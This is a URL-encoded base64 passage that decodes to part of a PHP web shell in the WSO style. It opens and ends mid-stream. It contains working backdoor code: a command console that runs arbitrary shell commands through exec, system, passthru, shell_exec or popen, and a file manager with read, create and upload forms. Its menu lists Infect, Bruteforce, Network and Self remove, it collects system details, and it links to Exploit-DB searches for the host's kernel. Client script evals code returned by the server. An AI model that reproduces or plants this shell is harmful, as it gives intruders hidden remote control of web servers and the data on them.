PWJpdHM%2BPjE4JjB4M2Y7aDI9Yml0cz4%2BMTImMHgzZjtoMz1iaXRzPj42JjB4M2Y7aDQ9Yml0cyYweDNmO3RtcF9hcnJbYWMrK109YjY0LmNoYXJBdChoMSkrYjY0LmNoYXJBdChoMikrYjY0LmNoYXJBdChoMykrYjY0LmNoYXJBdChoNCk7fXdoaWxlKGk8ZGF0YS5sZW5ndGgpO2VuYz10bXBfYXJyLmpvaW4oJycpO3N3aXRjaCAoZGF0YS5sZW5ndGglMyl7Y2FzZSAxOmVuYz1lbmMuc2xpY2UoMCwtMikrJz09JzticmVhaztjYXNlIDI6ZW5jPWVuYy5zbGljZSgwLC0xKSsnPSc7YnJlYWs7fXJldHVybiBlbmM7fQ0KICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KICAgICAgICBpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KICAgICAgICBpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KICAgICAgICBpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQogICAgICAgIGlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCiAgICAgICAgaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KICAgICAgICBkLm1mLmEudmFsdWUgPSBlbmNyeXB0KGQubWYuYS52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KICAgICAgICBkLm1mLmMudmFsdWUgPSBlbmNyeXB0KGQubWYuYy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KICAgICAgICBkLm1mLnAxLnZhbHVlID0gZW5jcnlwdChkLm1mLnAxLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7DQogICAgICAgIGQubWYucDIudmFsdWUgPSBlbmNyeXB0KGQubWYucDIudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsNCiAgICAgICAgZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOw0KICAgICAgICBpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KICAgIH0NCiAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQogICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQogICAgICAgIGQubWYuc3VibWl0KCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCiAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCiAgICAgICAgdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KICAgICAgICBmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCiAgICAgICAgc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7DQogICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpDQogICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpDQogICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgnTWljcm9zb2Z0LlhNTEhUVFAnKTsNCiAgICAgICAgaWYgKHJlcSkgew0KICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7DQogICAgICAgICAgICByZXEub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7DQogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsNCiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsNCiAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApDQogICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgew0KICAgICAgICAgICAgICAgIHZhciByZWcgPSBuZXcgUmVnRXhwKFwiKFxcXFxkKykoW1xcXFxTXFxcXHNdKilcIiwgJ20nKTsNCiAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOw0KICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsNCiAgICAgICAgICAgIH0gZWxzZSBhbGVydCgnUmVxdWVzdCBlcnJvciEnKTsNCiAgICB9DQo8L3NjcmlwdD4NCjxoZWFkPjxib2R5PjxkaXYgc3R5bGU9J3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6cmdiYSg5NSwgMTEwLCAxMzAsIDAuMyk7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Jz4NCjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM%2BDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM%2BDQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pg0KPC9mb3JtPiI7DQogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7DQogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U%2FJHRvdGFsU3BhY2U6MTsNCiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsNCiAgICAka2VybmVsID0gQHBocF91bmFtZSgncycpOw0KICAgICRleHBsaW5rID0gJ2h0dHA6Ly9udWxscmVmZXIuY29tLz9odHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZGVzY3JpcHRpb249JzsNCiAgICBpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KICAgIGVsc2UNCiAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOw0KICAgICAgICAkZ2lkID0gQGdldG15Z2lkKCk7DQogICAgICAgICRncm91cCA9ICI%2FIjsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsNCiAgICAgICAgJHVpZCA9ICR1aWRbJ3VpZCddOw0KICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107DQogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsNCiAgICB9DQogICAgJGN3ZF9saW5rcyA9ICcnOw0KICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQogICAgJG49Y291bnQoJHBhdGgpOw0KICAgIGZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCiAgICAgICAgZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCiAgICAgICAgJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KICAgIH0NCiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsNCiAgICAkb3B0X2NoYXJzZXRzID0gJyc7DQogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJOKWnykNCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4k4pafLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0k4pafPydzZWxlY3RlZCc6JycpLic%2BJy4k4pafLic8L29wdGlvbj4nOw0KICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdDb25zb2xlJz0%2BJ0NvbnNvbGUnLCdJbmZlY3QnPT4nSW5mZWN0JywnU3FsJz0%2BJ1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0%2BJ0JydXRlZm9yY2UnLCdOZXR3b3JrJz0%2BJ05ldHdvcmsnKTsNCiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ%2BKWmyddKSkNCiAgICAkbVsnTG9nb3V0J10gPSAnTG9nb3V0JzsNCiAgICAkbVsnU2VsZiByZW1vdmUnXSA9ICdTZWxmUmVtb3ZlJzsNCiAgICAkbWVudSA9ICcnOw0KICAgIGZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQogICAgICAgICRtZW51IC49ICc8dGg%2BWyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg%2BJzsNCiAgICAkZHJpdmVzID0gIiI7DQogICAgaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQogICAgICAgIGZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQogICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI%2BWyAnLiRkcml2ZS4nIF08L2E%2BICc7DQogICAgfQ0KICAgIC8qICjQoSkgMDguMjAxNSBkbWtjdiAqLw0KICAgIGVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI%2BVXNlcjo8YnI%2BUGhwOjxicj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKS4nPC9zcGFuPjwvdGQ%2BJy4NCiAgICAgICAgICc8dGQ%2BPG5vYnI%2BJy5zdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApLicgPGEgaHJlZj0iaHR0cHM6Ly9udWxscmVmZXIuY29tLz9odHRwczovL3d3dy5nb29nbGUuY29tL3NlYXJjaD9xPScudXJsZW5jb2RlKEBwaHBfdW5hbWUoKSkuJyIgdGFyZ2V0PSJfYmxhbmsiPlsgR29vZ2xlIF08L2E%2BIDxhIGhyZWY9IicuJGV4cGxpbmsuJyIgdGFyZ2V0PV9ibGFuaz5bIEV4cGxvaXQtREIgXTwvYT48L25vYnI%2BPGJyPicuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4%2BR3JvdXA6PC9zcGFuPiAnLiRnaWQuJyAoICcgLiRncm91cC4gJyApPGJyPicuQHBocHZlcnNpb24oKS4nIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4%2BICcuKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9I2ExMDcwNT5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0jZjljNDQwPjxiPk9GRjwvYj48L2ZvbnQ%2BJykuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4%2BICcuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPGJyPicudmlld1NpemUoJHRvdGFsU3BhY2UpLicgPHNwYW4%2BRnJlZTo8L3NwYW4%2BICcudmlld1NpemUoJGZyZWVTcGFjZSkuJyAoJy5yb3VuZCgxMDAvKCR0b3RhbFNwYWNlLyRmcmVlU3BhY2UpLDIpLiclKTxicj4nLiRjd2RfbGlua3MuJyAnLnZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRHTE9CQUxTWydob21lX2N3ZCddLidcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nLiRkcml2ZXMuJzwvdGQ%2BJy4NCiAgICAgICAgICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48bGFiZWw%2BPHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPicuJG9wdF9jaGFyc2V0cy4nPC9zZWxlY3Q%2BPC9sYWJlbD48YnI%2BPHNwYW4%2BU2VydmVyIElQOjwvc3Bhbj48YnI%2BJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L25vYnI%2BPC90ZD48L3RyPjwvdGFibGU%2BJy4NCiAgICAgICAgICc8dGFibGUgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzBkNTJiZjsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU%2BPGRpdj4nOw0KfQ0KZnVuY3Rpb24gaGFyZEZvb3RlcigpIHsNCiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyNmOWM0NDAnPlsgV3JpdGVhYmxlIF08L2ZvbnQ%2BIjoiIDxmb250IGNvbG9yPSNhMTA3MDU%2BKE5vdCB3cml0YWJsZSk8L2ZvbnQ%2BIjsNCiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU%2BDQogICAgPHRyPg0KICAgICAgICA8dGQ%2BPGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpPyAiZyhudWxsLHRoaXMuYy52YWx1ZSwnJyk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI%2BPHNwYW4%2BQ2hhbmdlIGRpcjo8L3NwYW4%2BPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0%2BPC90ZD4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc1Rvb2xzJyk%2FICJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI%2BPHNwYW4%2BUmVhZCBmaWxlOjwvc3Bhbj48YnI%2BPGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZiByZXF1aXJlZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc%2BPC9mb3JtPjwvdGQ%2BDQogICAgPC90cj48dHI%2BDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk%2FICJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI%2BPHNwYW4%2BTWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0%2BPC90ZD4NCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpPyAiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ21rZmlsZScpOyI6JycgKS4icmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4%2BJGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWYgcmVxdWlyZWQ%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KICAgIDwvdHI%2BPHRyPg0KICAgICAgICA8dGQ%2BPGZvcm0gb25zdWJtaXQ9XCIiLiggZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25Db25zb2xlJyk%2FICJnKCdDb25zb2xlJyxudWxsLHRoaXMuYy52YWx1ZSk7IjonJyApLiJyZXR1cm4gZmFsc2U7XCI%2BPHNwYW4%2BRXhlY3V0ZTo8L3NwYW4%2BPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPg0KICAgICAgICA8dGQ%2BPGZvcm0gbWV0aG9kPSdwb3N0JyAiLiggKCFmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJykpPyAiIG9uc3VibWl0PVwicmV0dXJuIGZhbHNlO1wiICI6JycgKS4iRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc%2BDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic%2BDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc%2BDQogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4%2BJGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWZbXSAgbXVsdGlwbGU%2BPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48YnIgID48L3RkPg0KICAgIDwvdHI%2BPC90YWJsZT48L2Rpdj4NCiAgICA8IS0tIHBhcnRpY2xlcyAtLT4gPGRpdiBpZD0ncGFydGljbGVzLWpzJz48L2Rpdj48c2NyaXB0IHNyYz0naHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L3BhcnRpY2xlcy5qcy8yLjAuMC9wYXJ0aWNsZXMubWluLmpzJz48L3NjcmlwdD4NCiAgICA8c2NyaXB0PnBhcnRpY2xlc0pTKCdwYXJ0aWNsZXMtanMnLCB7J3BhcnRpY2xlcyc6eydudW1iZXInOnsndmFsdWUnOjgwLCdkZW5zaXR5Jzp7J2VuYWJsZSc6dHJ1ZSwndmFsdWVfYXJlYSc6ODAwfX0sJ2NvbG9yJzp7J3ZhbHVlJzonI2ZmZmZmZid9LCdzaGFwZSc6eyd0eXBlJzondHJpYW5nbGUnLCdzdHJva2UnOnsnd2lkdGgnOjAsJ2NvbG9yJzonIzAwMDAwMCd9LCdwb2x5Z29uJzp7J25iX3NpZGVzJzo1fSwnaW1hZ2UnOnsnc3JjJzonaW1nL2dpdGh1Yi5zdmcnLCd3aWR0aCc6MTAwLCdoZWlnaHQnOjEwMH19LCdvcGFjaXR5Jzp7J3ZhbHVlJzowLjUsJ3JhbmRvbSc6dHJ1ZSwnYW5pbSc6eydlbmFibGUnOmZhbHNlLCdzcGVlZCc6MSwnb3BhY2l0eV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnc2l6ZSc6eyd2YWx1ZSc6MywncmFuZG9tJzp0cnVlLCdhbmltJzp7J2VuYWJsZSc6ZmFsc2UsJ3NwZWVkJzo0MCwnc2l6ZV9taW4nOjAuMSwnc3luYyc6ZmFsc2V9fSwnbGluZV9saW5rZWQnOnsnZW5hYmxlJzp0cnVlLCdkaXN0YW5jZSc6MjAwLCdjb2xvcic6JyNmZmZmZmYnLCdvcGFjaXR5JzowLjQsJ3dpZHRoJzoxfSwnbW92ZSc6eydlbmFibGUnOnRydWUsJ3NwZWVkJzoxLCdkaXJlY3Rpb24nOidub25lJywncmFuZG9tJzp0cnVlLCdzdHJhaWdodCc6ZmFsc2UsJ291dF9tb2RlJzonb3V0JywnYm91bmNlJzpmYWxzZSwnYXR0cmFjdCc6eydlbmFibGUnOmZhbHNlLCdyb3RhdGVYJzoxMDAwMCwncm90YXRlWSc6MTAwMDB9fX0sJ2ludGVyYWN0aXZpdHknOnsnZGV0ZWN0X29uJzonY2FudmFzJywnZXZlbnRzJzp7J29uaG92ZXInOnsnZW5hYmxlJzp0cnVlLCdtb2RlJzonZ3JhYid9LCdvbmNsaWNrJzp7J2VuYWJsZSc6dHJ1ZSwnbW9kZSc6J3JlcHVsc2UnfSwncmVzaXplJzp0cnVlfSwnbW9kZXMnOnsnZ3JhYic6eydkaXN0YW5jZSc6MjAwLCdsaW5lX2xpbmtlZCc6eydvcGFjaXR5JzowLjV9fSwnYnViYmxlJzp7J3BhcnRpY2xlc19uYic6Mn19fSwncmV0aW5hX2RldGVjdCc6dHJ1ZX0pOzwvc2NyaXB0Pg0KICAgIDwvYm9keT48L2h0bWw%2BIjsNCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRwd3VpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQpmdW5jdGlvbiBleCgkaW4pIHsNCiAgICAk4paWID0gJyc7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgIEBleGVjKCRpbiwk4paWKTsNCiAgICAgICAgJOKWliA9IEBqb2luKCJcbiIsJOKWlik7DQogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBAcGFzc3RocnUoJGluKTsNCiAgICAgICAgJOKWliA9IG9iX2dldF9jbGVhbigpOw0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIEBzeXN0ZW0oJGluKTsNCiAgICAgICAgJOKWliA9IG9iX2dldF9jbGVhbigpOw0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAk4paWID0gc2hlbGxfZXhlYygkaW4pOw0KICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCiAgICAgICAgJOKWliA9ICIiOw0KICAgICAgICB3aGlsZSghQGZlb2YoJGYpKQ0KICAgICAgICAgICAgJOKWliAuPSBmcmVhZCgkZiwxMDI0KTsNCiAgICAgICAgcGNsb3NlKCRmKTsNCiAgICB9ZWxzZSByZXR1cm4gIuKGsyBVbmFibGUgdG8gZXhlY3V0ZSBjb21tYW5kXG4iOw0KICAgIHJldHVybiAoJOKWlj09Jyc%2FIuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjok4paWKTsNCn0NCmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7DQogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOw0KICAgIGVsc2VpZigkcyA%2BPSAxMDQ4NTc2KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOw0KICAgIGVsc2VpZigkcyA%2BPSAxMDI0KQ0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOw0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICRzIC4gJyBCJzsNCn0NCmZ1bmN0aW9uIHBlcm1zKCRwKSB7DQogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOw0KICAgIGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQogICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOw0KICAgIGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQogICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOw0KICAgIGVsc2UgJGkgPSAndSc7DQogICAgJGkgLj0gKCgkcCAmIDB4MD